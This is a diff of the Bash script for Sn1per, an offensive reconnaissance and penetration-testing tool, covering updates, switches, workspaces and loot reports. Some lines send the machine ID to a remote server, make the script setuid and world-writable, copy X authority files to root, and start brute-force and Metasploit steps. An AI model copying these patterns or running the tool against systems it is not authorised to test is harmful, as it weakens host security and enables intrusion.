if [[ "$ENABLE_AUTO_UPDATES" == "1" ]] && [[ "$ONLINE" == "1" ]]; then
|
||||
LATEST_VER=$(curl --connect-timeout 5 -s https://api.github.com/repos/1N3/Sn1per/tags | grep -Po '"name":.*?[^\\]",'| head -1 | cut -c11-13)
|
||||
if [ "$LATEST_VER" != "$VER" ]; then
|
||||
if [[ "$LATEST_VER" != "$VER" ]]; then
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE] sniper v$LATEST_VER is available to download... To update, type$OKRED \"sniper -u\" $RESET"
|
||||
fi
|
||||
fi
|
||||
touch /tmp/update-check.txt 2> /dev/null
|
||||
}
|
||||
|
||||
# APPLY UPDATES
|
||||
function update {
|
||||
logo
|
||||
echo -e "$OKBLUE[*] Checking for updates...[$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET"
|
||||
if [ "$ONLINE" == "0" ]; then
|
||||
echo -e "$OKBLUE[*]$RESET Checking for updates...$OKBLUE[$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET"
|
||||
if [[ "$ONLINE" == "0" ]]; then
|
||||
echo "You will need to download the latest release manually at https://github.com/1N3/Sn1per/"
|
||||
else
|
||||
LATEST_VER=$(curl --connect-timeout 5 -s https://api.github.com/repos/1N3/Sn1per/tags | grep -Po '"name":.*?[^\\]",'| head -1 | cut -c11-13)
|
||||
if [ "$LATEST_VER" != "$VER" ]; then
|
||||
if [[ "$LATEST_VER" != "$VER" ]]; then
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE] Sn1per $LATEST_VER is available to download...Do you want to update? (y or n)$RESET"
|
||||
read ans
|
||||
if [ "$ans" = "y" ]; then
|
||||
if [[ "$ans" = "y" ]]; then
|
||||
rm -Rf /tmp/Sn1per/ 2>/dev/null
|
||||
git clone https://github.com/1N3/Sn1per /tmp/Sn1per/
|
||||
cd /tmp/Sn1per/
|
||||
|
|
@ -158,11 +200,30 @@ function update {
|
|||
fi
|
||||
}
|
||||
|
||||
if [ "$UPDATE" = "1" ]; then
|
||||
if [[ "$UPDATE" = "1" ]]; then
|
||||
update
|
||||
exit
|
||||
fi
|
||||
|
||||
# CHECK IF ONLINE
|
||||
function check_online {
|
||||
ONLINE=$(curl --connect-timeout 3 --insecure -s "https://sn1persecurity.com/community/updates.txt?$VER&mid=$(cat /etc/machine-id)" 2> /dev/null)
|
||||
if [[ -z "$ONLINE" ]]; then
|
||||
ONLINE=$(curl --connect-timeout 3 -s https://api.github.com/repos/1N3/Sn1per/tags | grep -Po '"name":.*?[^\\]",'| head -1 | cut -c11-13)
|
||||
if [[ -z "$ONLINE" ]]; then
|
||||
ONLINE="0"
|
||||
echo -e "$OKBLUE[*]$RESET Checking for active internet connection $OKBLUE[$RESET${OKRED}FAIL${RESET}$OKBLUE]"
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$RESET sniper is running in offline mode.$RESET"
|
||||
else
|
||||
ONLINE="1"
|
||||
echo -e "$OKBLUE[*]$RESET Checking for active internet connection $OKBLUE[$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET"
|
||||
fi
|
||||
else
|
||||
ONLINE="1"
|
||||
echo -e "$OKBLUE[*]$RESET Checking for active internet connection $OKBLUE[$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET"
|
||||
fi
|
||||
}
|
||||
|
||||
# COMMAND LINE SWITCHES
|
||||
POSITIONAL=()
|
||||
while [[ $# -gt 0 ]]
|
||||
|
|
@ -174,13 +235,25 @@ case $key in
|
|||
help
|
||||
shift # past argument
|
||||
;;
|
||||
-t|--target)
|
||||
-c|--config)
|
||||
CONFIG="$2"
|
||||
echo -e "$OKBLUE[*]$RESET Creating backup of existing config to /root/.sniper.conf.bak...$OKBLUE[$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET"
|
||||
cp -f /root/.sniper.conf /root/.sniper.conf.bak
|
||||
echo -e "$OKBLUE[*]$RESET Copying $CONFIG to /root/.sniper.conf...$OKBLUE[$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET"
|
||||
cp -f $CONFIG /root/.sniper.conf 2> /dev/null
|
||||
dos2unix /root/.sniper.conf 2> /dev/null > /dev/null
|
||||
source /root/.sniper.conf
|
||||
sleep 1
|
||||
shift
|
||||
shift
|
||||
;;
|
||||
-t)
|
||||
TARGET="$2"
|
||||
shift # past argument
|
||||
shift # past argument
|
||||
;;
|
||||
-b|--bruteforce)
|
||||
AUTOBRUTE="1"
|
||||
-b)
|
||||
AUTO_BRUTE="1"
|
||||
shift # past argument
|
||||
;;
|
||||
-fp|--fullportscan)
|
||||
|
|
@ -195,12 +268,12 @@ case $key in
|
|||
RECON="1"
|
||||
shift # past argument
|
||||
;;
|
||||
-m|--mode)
|
||||
-m)
|
||||
MODE="$2"
|
||||
shift # past argument
|
||||
shift # past argument
|
||||
;;
|
||||
-p|--port)
|
||||
-p)
|
||||
PORT="$2"
|
||||
shift # past argument
|
||||
shift # past argument
|
||||
|
|
@ -231,25 +304,62 @@ case $key in
|
|||
NOLOOT="1"
|
||||
shift # past argument
|
||||
;;
|
||||
-w|--workspace)
|
||||
WORKSPACE="$2"
|
||||
-w)
|
||||
WORKSPACE="$(echo $2 | tr / -)"
|
||||
WORKSPACE_DIR="$INSTALL_DIR/loot/workspace/$WORKSPACE"
|
||||
shift # past argument
|
||||
shift # past argument
|
||||
;;
|
||||
-s|--schedule)
|
||||
if [[ -z "$WORKSPACE" ]]; then
|
||||
echo "You need to set a workspace via the -w switch to schedule a scan task."
|
||||
exit
|
||||
fi
|
||||
SCHEDULE_ARG="$2"
|
||||
if [[ "$SCHEDULE_ARG" = "daily" ]] || [[ "$SCHEDULE_ARG" = "weekly" ]] || [[ "$SCHEDULE_ARG" = "monthly" ]]; then
|
||||
SCHEDULE_TASK="$WORKSPACE_DIR/scans/scheduled/$SCHEDULE_ARG.sh"
|
||||
vim $SCHEDULE_TASK
|
||||
cat $WORKSPACE_DIR/scans/scheduled/*.sh 2> /dev/null
|
||||
exit
|
||||
else
|
||||
echo "You need to specify either daily, weekly or monthly for the scheduled scan argument."
|
||||
exit
|
||||
fi
|
||||
shift # past argument
|
||||
shift # past argument
|
||||
;;
|
||||
-d|--delete)
|
||||
echo "Do you want to remove the workspace? $WORKSPACE_DIR"
|
||||
read ANS
|
||||
logo
|
||||
echo "Are you sure you want to remove the following workspace? (Hit Ctrl+C to exit): /usr/share/sniper/loot/workspace/$WORKSPACE/"
|
||||
read ANS
|
||||
rm -Rf /usr/share/sniper/loot/workspace/$WORKSPACE/
|
||||
echo "Workspace /usr/share/sniper/loot/workspace/$WORKSPACE/ was removed."
|
||||
sniper -w default --reimport
|
||||
exit
|
||||
shift # past argument
|
||||
;;
|
||||
-dh|--delete-host)
|
||||
echo "Do you want to remove $TARGET from $WORKSPACE?"
|
||||
read ANS
|
||||
sed -i "/$TARGET/d" $WORKSPACE_DIR/domains/targets-all-sorted.txt $WORKSPACE_DIR/domains/domains-all-sorted.txt $WORKSPACE_DIR/domains/targets.txt 2> /dev/null
|
||||
echo "Removing $TARGET from $WORKSPACE"
|
||||
sed -i "/$TARGET/d" $WORKSPACE_DIR/domains/* $WORKSPACE_DIR/reports/host-table-report.csv
|
||||
egrep -R "$TARGET" $WORKSPACE_DIR/domains/* $WORKSPACE_DIR/reports/host-table-report.csv
|
||||
rm -f $WORKSPACE_DIR/screenshots/$TARGET*.jpg 2> /dev/null
|
||||
sniper --reimport -w $WORKSPACE
|
||||
rm -f $WORKSPACE_DIR/nmap/dns-$TARGET.txt 2> /dev/null
|
||||
rm -f $WORKSPACE_DIR/nmap/ports-$TARGET.txt 2> /dev/null
|
||||
rm -f $WORKSPACE_DIR/web/title-*-$TARGET.txt 2> /dev/null
|
||||
rm -f $WORKSPACE_DIR/web/headers-*-$TARGET.txt 2> /dev/null
|
||||
rm -f $WORKSPACE_DIR/vulnerabilities/sc0pe-$TARGET-*.txt 2> /dev/null
|
||||
rm -f $WORKSPACE_DIR/vulnerabilities/vulnerability-report-$TARGET.txt 2> /dev/null
|
||||
rm -f $WORKSPACE_DIR/vulnerabilities/vulnerability-risk-$TARGET.txt 2> /dev/null
|
||||
#sniper --reimportall -w $WORKSPACE
|
||||
exit
|
||||
shift # past argument
|
||||
;;
|
||||
-dt|--delete-task)
|
||||
echo "Removing all running $TARGET tasks from $WORKSPACE"
|
||||
rm -vf $WORKSPACE_DIR/scans/running_$TARGET_*.txt
|
||||
ls -lh $LOOT_DIR/scans/running_*.txt 2> /dev/null | wc -l 2> /dev/null > $WORKSPACE_DIR/scans/tasks-running.txt 2> /dev/null
|
||||
ps -ef | egrep "$TARGET|sniper"
|
||||
ps -ef | egrep "sniper" | awk '{print $2}' | xargs -i sudo kill -9 {}
|
||||
exit
|
||||
shift # past argument
|
||||
;;
|
||||
|
|
@ -259,16 +369,28 @@ case $key in
|
|||
echo ""
|
||||
echo "cd /usr/share/sniper/loot/workspace/"
|
||||
WORKSPACE_REPORT=$LOOT_DIR/sniper-report.html
|
||||
if [ -f $WORKSPACE_REPORT ]; then
|
||||
echo -e "$OKORANGE + -- --=[Loading Sn1per Professional...$RESET"
|
||||
if [[ -f $WORKSPACE_REPORT ]]; then
|
||||
echo -e "$OKORANGE + -- --=[ Loading Sn1per Professional...$RESET"
|
||||
$BROWSER $INSTALL_DIR/loot/workspace/sniper-report.html 2> /dev/null > /dev/null &
|
||||
else
|
||||
echo -e "$OKORANGE + -- --=[Loading workspaces...$RESET"
|
||||
echo -e "$OKORANGE + -- --=[ Loading workspaces...$RESET"
|
||||
$BROWSER $INSTALL_DIR/loot/workspace/ 2> /dev/null > /dev/null &
|
||||
fi
|
||||
exit
|
||||
shift
|
||||
;;
|
||||
--export)
|
||||
if [[ -z "$WORKSPACE" ]]; then
|
||||
echo "You need to set a workspace via the -w switch to export a workspace."
|
||||
exit
|
||||
fi
|
||||
echo "Archiving $WORKSPACE to $INSTALL_DIR/loot/$WORKSPACE.tar"
|
||||
cd $INSTALL_DIR/loot/workspace/ && tar -cvf ../$WORKSPACE.tar $WORKSPACE
|
||||
cp -Rf $WORKSPACE ${WORKSPACE}_`date +"%Y-%m-%d"`
|
||||
echo "Done!"
|
||||
exit
|
||||
shift
|
||||
;;
|
||||
-s|--status)
|
||||
sniper_status
|
||||
exit
|
||||
|
|
@ -290,7 +412,11 @@ esac
|
|||
done
|
||||
set -- "${POSITIONAL[@]}" # restore positional parameters
|
||||
|
||||
if [ -z "$TARGET" ] && [ -z "$WORKSPACE" ]; then
|
||||
if [[ ! -z "$TARGET" ]] && [[ -z "$WORKSPACE" ]]; then
|
||||
WORKSPACE=$(echo "$TARGET")
|
||||
fi
|
||||
|
||||
if [[ -z "$TARGET" ]] && [[ -z "$WORKSPACE" ]]; then
|
||||
logo
|
||||
echo "You need to specify a target or workspace to use. Type sniper --help for command usage."
|
||||
exit
|
||||
|
|
@ -299,10 +425,10 @@ fi
|
|||
cd $INSTALL_DIR
|
||||
|
||||
function init {
|
||||
if [ ! -z $WORKSPACE_DIR ]; then
|
||||
if [[ ! -z $WORKSPACE_DIR ]]; then
|
||||
LOOT_DIR=$WORKSPACE_DIR
|
||||
fi
|
||||
echo -e "$OKBLUE[*] Saving loot to $LOOT_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET"
|
||||
echo -e "$OKBLUE[*]$RESET Saving loot to $LOOT_DIR $OKBLUE[$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET"
|
||||
mkdir -p $LOOT_DIR 2> /dev/nul
|
||||
mkdir $LOOT_DIR/domains 2> /dev/null
|
||||
mkdir $LOOT_DIR/ips 2> /dev/null
|
||||
|
|
@ -313,123 +439,205 @@ function init {
|
|||
mkdir $LOOT_DIR/osint 2> /dev/null
|
||||
mkdir $LOOT_DIR/credentials 2> /dev/null
|
||||
mkdir $LOOT_DIR/web 2> /dev/null
|
||||
mkdir $LOOT_DIR/vulnerabilities 2> /dev/null
|
||||
mkdir $LOOT_DIR/notes 2> /dev/null
|
||||
mkdir $LOOT_DIR/scans 2> /dev/null
|
||||
mkdir -p $LOOT_DIR/scans/scheduled/ 2> /dev/null
|
||||
touch $LOOT_DIR/scans/scheduled/daily.sh 2> /dev/null
|
||||
touch $LOOT_DIR/scans/scheduled/weekly.sh 2> /dev/null
|
||||
touch $LOOT_DIR/scans/scheduled/monthly.sh 2> /dev/null
|
||||
touch $LOOT_DIR/scans/notifications.txt 2> /dev/null
|
||||
touch $LOOT_DIR/scans/notifications_new.txt 2> /dev/null
|
||||
chmod 777 -Rf $INSTALL_DIR 2> /dev/null
|
||||
chown root $INSTALL_DIR/sniper 2> /dev/null
|
||||
chmod 4777 $INSTALL_DIR/sniper 2> /dev/null
|
||||
TARGET="$(echo $TARGET | sed 's/https:\/\///g' | sed 's/http:\/\///g')"
|
||||
/etc/init.d/metasploit start 2> /dev/null > /dev/null 2>&1 &
|
||||
msfdb start 2> /dev/null > /dev/null
|
||||
|
||||
if [ "$AUTOBRUTE" == "1" ]; then
|
||||
touch $LOOT_DIR/scans/$TARGET-autobrute.txt 2> /dev/null
|
||||
fi
|
||||
|
||||
if [ "$FULLNMAPSCAN" == "1" ]; then
|
||||
touch $LOOT_DIR/scans/$TARGET-fullnmapscan.txt 2> /dev/null
|
||||
fi
|
||||
|
||||
if [ "$OSINT" == "1" ]; then
|
||||
touch $LOOT_DIR/scans/$TARGET-osint.txt 2> /dev/null
|
||||
fi
|
||||
|
||||
if [ "$RECON" == "1" ]; then
|
||||
touch $LOOT_DIR/scans/$TARGET-recon.txt 2> /dev/null
|
||||
fi
|
||||
}
|
||||
|
||||
# REMOVE HOST FROM WORKSPACE sed -i "/www.test.com/d" domains/targets-all-sorted.txt domains/domains-all-sorted.txt domains/targets.txt
|
||||
function loot {
|
||||
echo -e "$OKRED ____ $RESET"
|
||||
echo -e "$OKRED _________ / _/___ ___ _____$RESET"
|
||||
echo -e "$OKRED / ___/ __ \ / // __ \/ _ \/ ___/$RESET"
|
||||
echo -e "$OKRED (__ ) / / // // /_/ / __/ / $RESET"
|
||||
echo -e "$OKRED /____/_/ /_/___/ .___/\___/_/ $RESET"
|
||||
echo -e "$OKRED /_/ $RESET"
|
||||
echo ""
|
||||
if [ ! -z $WORKSPACE_DIR ]; then
|
||||
LOOT_DIR=$WORKSPACE_DIR
|
||||
fi
|
||||
|
||||
echo -e "$OKBLUE[*] Opening loot directory $LOOT_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET"
|
||||
|
||||
cd $LOOT_DIR
|
||||
|
||||
if [ "$METASPLOIT_IMPORT" == "1" ]; then
|
||||
echo -e "$OKORANGE + -- --=[Starting Metasploit service...$RESET"
|
||||
/etc/init.d/metasploit start 2> /dev/null > /dev/null
|
||||
msfdb start
|
||||
echo -e "$OKORANGE + -- --=[Importing NMap XML files into Metasploit...$RESET"
|
||||
msfconsole -x "workspace -a $WORKSPACE; workspace $WORKSPACE; db_import $LOOT_DIR/nmap/nmap*.xml; hosts; services; exit;" | tee $LOOT_DIR/notes/msf-$WORKSPACE.txt
|
||||
fi
|
||||
|
||||
echo -e "$OKORANGE + -- --=[Generating reports...$RESET"
|
||||
cd ./output
|
||||
echo -en "$OKGREEN[$OKBLUE"
|
||||
for a in `ls sniper-*.txt 2>/dev/null`;
|
||||
#for a in `sort -u $LOOT_DIR/scans/updated.txt`;
|
||||
do
|
||||
# TXT OUTPUT
|
||||
#cat "$a" 2> /dev/null | sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" 2> /dev/null > $LOOT_DIR/reports/$a.txt 2> /dev/null
|
||||
# HTML OUTPUT
|
||||
echo "$a" 2> /dev/null | aha 2> /dev/null > $LOOT_DIR/reports/$a.html 2> /dev/null
|
||||
cat "$a" 2> /dev/null | aha 2> /dev/null >> $LOOT_DIR/reports/$a.html 2> /dev/null
|
||||
# PDF OUTPUT
|
||||
#$INSTALL_DIR/bin/pyText2pdf.py -o $LOOT_DIR/reports/$a.pdf $LOOT_DIR/reports/$a.txt 2> /dev/null > /dev/null
|
||||
echo -n '|'
|
||||
done
|
||||
echo -en "$OKGREEN]$RESET"
|
||||
echo ""
|
||||
cd ..
|
||||
echo -e "$OKORANGE + -- --=[Sorting all domains...$RESET"
|
||||
touch $LOOT_DIR/domains/domains-all-sorted.txt 2> /dev/null
|
||||
sort -u $LOOT_DIR/domains/*-full.txt > $LOOT_DIR/domains/domains-all-sorted.txt 2> /dev/null
|
||||
sort -u $LOOT_DIR/domains/targets.txt > $LOOT_DIR/domains/targets-all-sorted.txt 2> /dev/null
|
||||
diff $LOOT_DIR/domains/targets-all-sorted.txt $LOOT_DIR/domains/domains-all-sorted.txt | grep \> | awk '{print $2}' > $LOOT_DIR/domains/targets-all-unscanned.txt
|
||||
|
||||
echo -e "$OKORANGE + -- --=[Removing blank screenshots...$RESET"
|
||||
cd $LOOT_DIR/screenshots/
|
||||
find $LOOT_DIR/screenshots/ -type f -size -9000c -exec rm -f {} \;
|
||||
cd $LOOT_DIR
|
||||
|
||||
if [ -f $SNIPER_PRO ]; then
|
||||
if [ "$SN1PER_AUTOLOAD" = "1" ]; then
|
||||
echo -e "$OKORANGE + -- --=[Loading Sn1per Professional...$RESET"
|
||||
source $INSTALL_DIR/pro.sh
|
||||
$BROWSER $LOOT_DIR/sniper-report.html 2> /dev/null > /dev/null &
|
||||
else
|
||||
echo -e "$OKORANGE + -- --=[Do you want to load Sn1per Professional (y or n)? $RESET"
|
||||
read ANS
|
||||
if [ "$ANS" == "y" ]; then
|
||||
echo -e "$OKORANGE + -- --=[Loading Sn1per Professional...$RESET"
|
||||
source $INSTALL_DIR/pro.sh
|
||||
$BROWSER $LOOT_DIR/sniper-report.html 2> /dev/null > /dev/null &
|
||||
else
|
||||
echo -e "$OKORANGE + -- --=[Skipping report generation. $RESET"
|
||||
fi
|
||||
fi
|
||||
rm -f /tmp/out_of_scope 2> /dev/null
|
||||
for key in "${OUT_OF_SCOPE[@]}"; do echo $TARGET | egrep ${key} >> /tmp/out_of_scope 2> /dev/null; done;
|
||||
OUT_OF_SCOPE_NUM=$(wc -l /tmp/out_of_scope 2> /dev/null | awk '{print $1}' 2> /dev/null)
|
||||
if [[ $OUT_OF_SCOPE_NUM > 0 ]]; then
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE] $TARGET is out of scope. Skipping! $RESET"
|
||||
exit
|
||||
else
|
||||
echo -e "$OKRED + -- --=[Sn1per Professional is not installed. To download Sn1per Professional, go to https://xerosecurity.com. $RESET"
|
||||
$BROWSER https://xerosecurity.com 2> /dev/null > /dev/null &
|
||||
echo -e "$OKBLUE[*]$RESET Scanning $TARGET $OKBLUE[$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET"
|
||||
echo "$TARGET" >> $LOOT_DIR/domains/targets.txt 2> /dev/null
|
||||
fi
|
||||
service postgresql start 2> /dev/null > /dev/null
|
||||
msfdb start 2> /dev/null > /dev/null
|
||||
chown root /run/user/1000/gdm/Xauthority 2> /dev/null
|
||||
LAST_USER=$(last 2> /dev/null | head -n 1 | awk '{print $1}')
|
||||
sudo cp -a /home/$LAST_USER/.Xauthority /root/.Xauthority 2> /dev/null
|
||||
sudo cp -a /root/.Xauthority /root/.Xauthority.bak 2> /dev/null
|
||||
sudo cp -a /home/$USER/.Xauthority /root/.Xauthority 2> /dev/null
|
||||
sudo cp -a /home/kali/.Xauthority /root/.Xauthority 2> /dev/null
|
||||
sudo chown root: /root/.Xauthority 2> /dev/null
|
||||
XAUTHORITY=/root/.Xauthority
|
||||
UPDATED_TARGETS=$LOOT_DIR/scans/updated.txt
|
||||
if [[ "$AUTO_BRUTE" == "1" ]]; then
|
||||
echo "$TARGET AUTO_BRUTE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt
|
||||
touch $LOOT_DIR/scans/$TARGET-AUTO_BRUTE.txt 2> /dev/null
|
||||
fi
|
||||
if [[ "$FULLNMAPSCAN" == "1" ]]; then
|
||||
echo "$TARGET fullnmapscan `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt
|
||||
touch $LOOT_DIR/scans/$TARGET-fullnmapscan.txt 2> /dev/null
|
||||
fi
|
||||
if [[ "$OSINT" == "1" ]]; then
|
||||
echo "$TARGET osint `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt
|
||||
touch $LOOT_DIR/scans/$TARGET-osint.txt 2> /dev/null
|
||||
fi
|
||||
if [[ "$RECON" == "1" ]]; then
|
||||
echo "$TARGET recon `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt
|
||||
touch $LOOT_DIR/scans/$TARGET-recon.txt 2> /dev/null
|
||||
fi
|
||||
echo -e "$OKORANGE + -- --=[Done!$RESET"
|
||||
}
|
||||
|
||||
if [ "$REIMPORT" = "1" ]; then
|
||||
if [ ! -z "$WORKSPACE_DIR" ]; then
|
||||
function loot {
|
||||
if [[ ! $LOOT == "0" ]]; then
|
||||
echo -e "$OKRED ____ $RESET"
|
||||
echo -e "$OKRED _________ / _/___ ___ _____$RESET"
|
||||
echo -e "$OKRED / ___/ __ \ / // __ \/ _ \/ ___/$RESET"
|
||||
echo -e "$OKRED (__ ) / / // // /_/ / __/ / $RESET"
|
||||
echo -e "$OKRED /____/_/ /_/___/ .___/\___/_/ $RESET"
|
||||
echo -e "$OKRED /_/ $RESET"
|
||||
echo ""
|
||||
if [[ ! -z $WORKSPACE_DIR ]]; then
|
||||
LOOT_DIR=$WORKSPACE_DIR
|
||||
fi
|
||||
rm -f $INSTALL_DIR/stash.sqlite 2> /dev/null
|
||||
rm -f $INSTALL_DIR/hydra.restore 2> /dev/null
|
||||
rm -f /tmp/update-check.txt 2> /dev/null
|
||||
ls -lh $LOOT_DIR/scans/running_*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt 2> /dev/null
|
||||
echo -e "$OKBLUE[*]$RESET Opening loot directory $LOOT_DIR $OKBLUE[$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET"
|
||||
cd $LOOT_DIR
|
||||
if [[ "$METASPLOIT_IMPORT" == "1" ]]; then
|
||||
echo -e "$OKORANGE + -- --=[ Starting Metasploit service...$RESET"
|
||||
/etc/init.d/metasploit start 2> /dev/null > /dev/null
|
||||
msfdb start
|
||||
echo -e "$OKORANGE + -- --=[ Importing NMap XML files into Metasploit...$RESET"
|
||||
msfconsole -x "workspace -a $WORKSPACE; workspace $WORKSPACE; db_import $LOOT_DIR/nmap/nmap*.xml; hosts; services; exit;" | tee $LOOT_DIR/notes/msf-$WORKSPACE.txt
|
||||
fi
|
||||
echo -e "$OKORANGE + -- --=[ Generating reports...$RESET"
|
||||
cd $LOOT_DIR/output 2> /dev/null
|
||||
echo -en "$OKGREEN[$OKBLUE"
|
||||
for a in `ls sniper-*.txt 2>/dev/null`;
|
||||
do
|
||||
echo "$a" 2> /dev/null | aha 2> /dev/null > $LOOT_DIR/reports/$a.html 2> /dev/null
|
||||
cat "$a" 2> /dev/null | aha 2> /dev/null >> $LOOT_DIR/reports/$a.html 2> /dev/null
|
||||
echo -n '|'
|
||||
done
|
||||
echo -en "$OKGREEN]$RESET"
|
||||
echo ""
|
||||
cd ..
|
||||
chmod 777 -Rf $LOOT_DIR
|
||||
echo -e "$OKORANGE + -- --=[ Sorting all files...$RESET"
|
||||
cat $LOOT_DIR/scans/notifications_new.txt 2> /dev/null >> $LOOT_DIR/scans/notifications.txt 2> /dev/null
|
||||
sort -u $LOOT_DIR/domains/*-full.txt 2> /dev/null > $LOOT_DIR/domains/domains-all-presorted.txt 2> /dev/null
|
||||
sed -E "s/^\.//g" $LOOT_DIR/domains/domains-all-presorted.txt 2> /dev/null | sed -E "s/^\*\.//g" | tr '[:upper:]' '[:lower:]' | sort -u > $LOOT_DIR/domains/domains-all-presorted2.txt 2> /dev/null
|
||||
sort -u $LOOT_DIR/domains/targets.txt 2> /dev/null > $LOOT_DIR/domains/targets-all-presorted.txt 2> /dev/null
|
||||
sed -E "s/^\.//g" $LOOT_DIR/domains/targets-all-presorted.txt 2> /dev/null | sed -E "s/^\*\.//g" | tr '[:upper:]' '[:lower:]' | sort -u > $LOOT_DIR/domains/targets-all-sorted.txt 2> /dev/null
|
||||
sort -u $LOOT_DIR/ips/ips-all-unsorted.txt 2> /dev/null > $LOOT_DIR/ips/ips-all-sorted.txt 2> /dev/null
|
||||
sed -i -E 's/address//g' $LOOT_DIR/ips/ips-all-sorted.txt 2> /dev/null
|
||||
sort -u $LOOT_DIR/domains/domains-all-presorted2.txt $LOOT_DIR/domains/targets-all-sorted.txt 2> /dev/null > $LOOT_DIR/domains/domains-all-sorted.txt 2> /dev/null
|
||||
diff $LOOT_DIR/domains/targets-all-sorted.txt $LOOT_DIR/domains/domains-all-sorted.txt 2> /dev/null | grep \> | awk '{print $2}' > $LOOT_DIR/domains/targets-all-unscanned.txt
|
||||
rm -f $LOOT_DIR/domains/targets-all-presorted.txt $LOOT_DIR/domains/targets-all-presorted2.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/domains/domains-all-presorted.txt $LOOT_DIR/domains/domains-all-presorted2.txt 2> /dev/null
|
||||
sort -u $LOOT_DIR/nmap/openports-unsorted.txt 2> /dev/null > $LOOT_DIR/nmap/openports-sorted.txt 2> /dev/null
|
||||
sort -u $LOOT_DIR/nmap/livehosts-unsorted.txt 2> /dev/null > $LOOT_DIR/nmap/livehosts-sorted.txt 2> /dev/null
|
||||
find $LOOT_DIR/web/ -type f -size -1c -exec rm -f {} \;
|
||||
cd $LOOT_DIR/web/ && rm -f webhosts-all-sorted-* 2> /dev/null
|
||||
cd $LOOT_DIR/domains/ && rm -f domains-all-sorted-* 2> /dev/null
|
||||
cd $LOOT_DIR/nmap/ && rm -f openports-all-sorted-* 2> /dev/null
|
||||
cd $LOOT_DIR/nmap/ && rm -f livehosts-all-sorted-* 2> /dev/null
|
||||
cd $LOOT_DIR/web/ 2> /dev/null
|
||||
egrep -Hi 'HTTP/1.' headers-* 2> /dev/null | cut -d':' -f1 | sed "s/headers\-http\(\|s\)\-//g" | sed "s/\.txt//g" | cut -d \- -f1 | sort -u 2> /dev/null > $LOOT_DIR/web/webhosts-sorted.txt 2> /dev/null
|
||||
split -d -l $MAX_HOSTS -e $LOOT_DIR/web/webhosts-sorted.txt webhosts-all-sorted- 2> /dev/null
|
||||
cd $LOOT_DIR/domains/ 2> /dev/null
|
||||
split -d -l $MAX_HOSTS -e $LOOT_DIR/domains/domains-all-sorted.txt domains-all-sorted- 2> /dev/null
|
||||
cd $LOOT_DIR/nmap/ 2> /dev/null
|
||||
split -d -l $MAX_HOSTS -e $LOOT_DIR/nmap/openports-sorted.txt openports-all-sorted- 2> /dev/null
|
||||
split -d -l $MAX_HOSTS -e $LOOT_DIR/nmap/livehosts-sorted.txt livehosts-all-sorted- 2> /dev/null
|
||||
echo -e "$OKORANGE + -- --=[ Removing blank screenshots and files...$RESET"
|
||||
chmod 777 -Rf $LOOT_DIR 2> /dev/null
|
||||
cd $LOOT_DIR/screenshots/
|
||||
find $LOOT_DIR/screenshots/ -type f -size -9000c -exec rm -f {} \;
|
||||
find $LOOT_DIR/nmap/ -type f -size -1c -exec rm -f {} \;
|
||||
find $LOOT_DIR/ips/ -type f -size -1c -exec rm -f {} \;
|
||||
find $LOOT_DIR/osint/ -type f -size -1c -exec rm -f {} \;
|
||||
find $LOOT_DIR/vulnerabilities/ -type f -size -1c -exec rm -f {} \;
|
||||
cd $LOOT_DIR
|
||||
if [[ -f $SNIPER_PRO ]]; then
|
||||
wc -l $LOOT_DIR/scans/notifications.txt 2> /dev/null | awk '{print $1}' > $LOOT_DIR/scans/notifications_total.txt 2> /dev/null
|
||||
wc -l $LOOT_DIR/scans/notifications_new.txt 2> /dev/null | awk '{print $1}' > $LOOT_DIR/scans/notifications_new_total.txt 2> /dev/null
|
||||
cat $LOOT_DIR/scans/tasks-running.txt 2> /dev/null > $LOOT_DIR/scans/tasks-running_total.txt 2> /dev/null
|
||||
wc -l $LOOT_DIR/scans/tasks.txt 2> /dev/null | awk '{print $1}' 2> /dev/null > $LOOT_DIR/scans/tasks_total.txt 2> /dev/null
|
||||
wc -l $LOOT_DIR/scans/scheduled/*.sh 2> /dev/null | awk '{print $1}' 2> /dev/null > $LOOT_DIR/scans/scheduled_tasks_total.txt 2> /dev/null
|
||||
grep "Host\ status" $LOOT_DIR/scans/notifications.txt 2> /dev/null | wc -l | awk '{print $1}' 2> /dev/null > $LOOT_DIR/scans/host_status_changes_total.txt 2> /dev/null
|
||||
grep "Port\ change" $LOOT_DIR/scans/notifications.txt 2> /dev/null | wc -l | awk '{print $1}' 2> /dev/null > $LOOT_DIR/scans/port_changes_total.txt 2> /dev/null
|
||||
wc -l $LOOT_DIR/domains/domains_new-*.txt 2> /dev/null | awk '{print $1}' 2> /dev/null > $LOOT_DIR/scans/domain_changes_total.txt 2> /dev/null
|
||||
cat $LOOT_DIR/web/dirsearch-new-*.txt $LOOT_DIR/web/spider-new-*.txt 2> /dev/null | wc -l | awk '{print $1}' 2> /dev/null > $LOOT_DIR/scans/url_changes_total.txt 2> /dev/null
|
||||
if [[ -f "$LOOT_DIR/notes/notepad.html" ]]; then
|
||||
echo -n "" 2>/dev/null
|
||||
else
|
||||
cp "$INSTALL_DIR/pro/notepad.html" "$LOOT_DIR/notes/notepad.html" 2>/dev/null
|
||||
PRE_NAME=$(echo $WORKSPACE | sed "s/\./-/g")
|
||||
